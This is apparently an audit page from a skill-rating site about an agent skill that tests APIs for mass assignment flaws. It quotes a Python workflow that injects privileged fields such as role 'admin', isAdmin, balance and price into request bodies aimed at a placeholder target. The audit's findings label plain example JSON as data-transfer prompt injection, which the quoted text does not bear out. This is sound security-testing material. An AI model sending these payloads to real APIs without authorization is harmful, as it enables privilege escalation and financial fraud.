Agent skill · Audited from source
Testing Api For Mass Assignment Vulnerability
skill · mukul975/Anthropic-Cybersecurity-SkillsApache-2.0 licenceAudited 7 Oct 2026 · source 6c59587be632
Is it safe? No — BLOCK, grade D (69/100). We read this skill's source at commit 6c59587be632 and found no filesystem, network or shell access and no hard-coded secrets. The audit raised 5 findings, 4 critical or high. What it does: Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying
Cite
Cite this page
ModelsAtlas. “Testing Api For Mass Assignment Vulnerability (mukul975/Anthropic-Cybersecurity-Skills)”. Retrieved 7 Oct 2026. https://modelsatlas.com/skills/mukul975/testing-api-for-mass-assignment-vulnerability
Blocked. The page stays public so you can check this skill if someone recommended it to you. The audit found 4 critical or high findings, starting with “Prompt injection” in SKILL.md:298. Do not install it without reading them.
Trust audit
Audit 0.4.1 · source read 7 Oct 2026
BLOCK means the audit found something that could harm you or your machine. Grade D is shared by 749 of 18,389 audited skills.
What the source does
- FilesystemNone observedNo reads or writes in the source
- NetworkNone observedNo outbound calls in the source
- ShellNone observedNo commands run in the source
- DependenciesPinnedNothing floats
- SecretsNone foundNo keys in source
Five audit layers
| Layer | What we check | Result | Findings |
|---|---|---|---|
L0 Provenance | Repo owner, licence, archive status, activity | PASS | 0 |
L1 Static source | Secrets, path traversal, supply chain, hidden code | PASS | 0 |
L2 Instructions | Prompt injection, authority framing, hidden directives | FAIL | 5 |
L3 Inventory | The files and declarations match the source | PASS | 0 |
L4 Sandbox | Run in isolation and watch behaviour | SKIPPED why | 0 |
Gates applied: critical finding, no behavioural pass, undeclared transfer.
Findings (5)
CRITICALPrompt injectionprompt.transfer_instruction · SKILL.md:298
**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters t
- Why
- an instruction to move sensitive data to an outside destination
- Fix
- remove; a skill never needs the user's secrets off the machine
CRITICALPrompt injectionprompt.transfer_instruction · SKILL.md:301
1. Register a new user with only expected fields: `POST /api/v1/register {"name":"Test","email":"[email protected]","password":"Pass123!"}` - returns user with `role: "user"`- Why
- an instruction to move sensitive data to an outside destination
- Fix
- remove; a skill never needs the user's secrets off the machine
CRITICALPrompt injectionprompt.transfer_instruction · SKILL.md:302
2. Register another user with injected role: `POST /api/v1/register {"name":"Admin","email":"[email protected]","password":"Pass123!","role":"admin"}` - returns user with `role: "admin"`- Why
- an instruction to move sensitive data to an outside destination
- Fix
- remove; a skill never needs the user's secrets off the machine
CRITICALPrompt injectionprompt.transfer_instruction · SKILL.md:336
{"name":"Attacker","email":"[email protected]","password":"P@ss123!","role":"admin"}- Why
- an instruction to move sensitive data to an outside destination
- Fix
- remove; a skill never needs the user's secrets off the machine
INFOPrompt injectionprompt.authority_framing · references/api-reference.md:8
| Admin flags | isAdmin, is_superuser | Full privileges |
- Why
- No further detail recorded for this rule.
- Fix
- —
Audit 0.4.1 · source sha 6c59587be632 · 7 Oct 2026Report an issue or request a re-scan
Provenance
Who published it, and what the verdict is pinned to
- Publishermukul975 GitHub userOwner of the repository this skill is read from
- Source foldermukul975/Anthropic-Cybersecurity-Skills/skills/testing-api-for-mass-assignment-vulnerabilityThe exact folder we audited
- LicenceApache-2.0As the repository states it
- Commit pinned for this verdict6c59587be632A new audit runs when the source changes
- Repository statusNot archivedLast push 37 days ago
- Sandboxed runNot runSkills are read, not executed; layer L4 is skipped
What it tells the agent
Full source on GitHub ↗Its description: Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying
---
name: testing-api-for-mass-assignment-vulnerability
description: 'Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying
writable endpoints, adding undocumented fields to request bodies (role, isAdmin,
price, balance), and checking whether the server binds them to the data model without
filtering. Use when testing an API for mass assignment, parameter binding abuse,
or over-posting on profile, registration, or object-creation endpoints.
'
domain: cybersecurity
subdomain: api-security
tags:
- api-security
- owasp
- mass-assignment
- auto-binding
- parameter-tampering
version: 1.0.0
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1552.001
- T0816
- T0836
---
# Testing API for Mass Assignment Vulnerability
## When to Use
- Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
- Assessing whether the API binds all client-supplied properties to the data model without an allowlist
- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
- Testing APIs built with ORMs that auto-bind request parameters to database models
- Validating that server-side input validation restricts writeable properties per user role
**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.
## Prerequisites
- Written authorization specifying target API endpoints and scope
- Test accounts at different privilege levels
- API documentation or OpenAPI specification to identify expected request fields
- Burp Suite Professional for request interception and parameter injection
- Python 3.10+ with `requests` library
- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior
## Workflow
### Step 1: Identify Writable Endpoints and Expected Parameters
```python
import requests
import json
import copy
BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
# Identify endpoints that accept write operations
writable_endpoints = [
{"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
{"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
{"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
{"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
{"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
{"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
{"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
{"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]
# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
```
### Step 2: Inject Privileged Fields
```python
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True, "superuser": True},
"permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"account_status": {"is_active": True, "isActive": True, "verified": True,
"email_verified": True, "is_verified": True, "status": "active"},
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01, "amount": 0.01},
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
"created_by": 1, "createdBy": 1},
"internal": {"internal_notes": "test", "debug": True, "hidden": False,
"is_deleted": False, "is_featured": True, "priority": 0},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
def test_mass_assignment(endpoint_info):
"""Test a writable endpoint for mass assignment vulnerabilities."""
method = endpoint_info["method"]
path = endpoint_info["path"]
expected = endpoint_info["expected_fields"]
findings = []
# Build a valid base request
base_body = {}
for field in expected:
if field == "email":
base_body[field] = "[email protected]"
elif field == "password":
base_body[field] = "SecurePass123!"
elif field == "name":
base_body[field] = "Test User"
elif field == "items":
base_body[field] = [{"product_id": 1, "quantity": 1}]
else:
base_body[field] = "test_value"
# Test each category of privileged fields
for category, fields in PRIVILEGE_FIELDS.items():
test_body = {**base_body, **fields}
resp = requests.request(method, f"{BASE_URL}{path}",
headers=user_headers, json=test_body)
if resp.status_code in (200, 201):
# Verify if the fields were actually set
resp_data = resp.json()
for field_name, injected_value in fields.items():
actual = resp_data.get(field_name)
if actual is not None and str(actual) == str(injected_value):
findings.append({
"endpoint": f"{method} {path}",
"category": category,
"Excerpt, first 6,000 characters of SKILL.md, verbatim from the audited commit. It is text from someone else’s repository, quoted so you can judge it before your agent reads it.
Install
Pinned to the audited commit 6c59587
git clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills git -C Anthropic-Cybersecurity-Skills checkout 6c59587be632
The author documents no install command, so this uses the repository directly. Our verdict covers commit 6c59587be632 only.
Works in
The author has not said which agents this skill supports, and we have not tested it in any.
Audit history
Every audit, every source change
- ✕BLOCK D 69 / 100
first audit · source
6c59587be632
README badge
For maintainers · shows the latest audit
[](https://modelsatlas.com/skills/mukul975/testing-api-for-mass-assignment-vulnerability/)
The badge shows our verdict and grade for this skill, and links back to this page. It changes when the audit does.
Similar skills
All testing skills →mukul975/Anthropic-Cybersecurity-Skills
Analyze the NTFS Master File Table ($MFT) with MFTECmd, analyzeMFT,
mukul975/Anthropic-Cybersecurity-Skills
Detect and analyze covert communication channels used by malware, including
mukul975/Anthropic-Cybersecurity-Skills
Parse NetFlow v9 and IPFIX records to detect volumetric anomalies, port
mukul975/Anthropic-Cybersecurity-Skills
Use Scapy to craft, send, sniff, and dissect TCP/UDP/ICMP/DNS packets, analyze pcap files, implement SYN scans, and detect anomalous traffic such as fragmented or malformed packets. Use when performing authorized…
mukul975/Anthropic-Cybersecurity-Skills
Analyzes network traffic captures and flow data to identify adversary activity during security incidents, including
mukul975/Anthropic-Cybersecurity-Skills
Analyzes network traffic generated by malware during sandbox execution
Add this badge to your README
[](https://modelsatlas.com/skills/mukul975/testing-api-for-mass-assignment-vulnerability/)
<a href="https://modelsatlas.com/skills/mukul975/testing-api-for-mass-assignment-vulnerability/"><img src="https://modelsatlas.com/skills/mukul975/testing-api-for-mass-assignment-vulnerability/badge.svg" alt="ModelsAtlas: BLOCK D"></a>
Questions about Testing Api For Mass Assignment Vulnerability
What does the Testing Api For Mass Assignment Vulnerability skill do?
Is Testing Api For Mass Assignment Vulnerability safe to install?
What can Testing Api For Mass Assignment Vulnerability access on my machine?
How current is this page?
Sources
- github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/ski — the audited source at commit 6c59587be632 and every finding aboveObserved · 7 Oct 2026
Spotted something wrong? Report a correction · Methodology
Keep going in your AI
Opens with this page as the source. We add nothing else to the prompt.
- What does the Testing Api For Mass Assignment Vulnerability skill do?
- Is Testing Api For Mass Assignment Vulnerability safe to install?
- What can Testing Api For Mass Assignment Vulnerability access on my machine?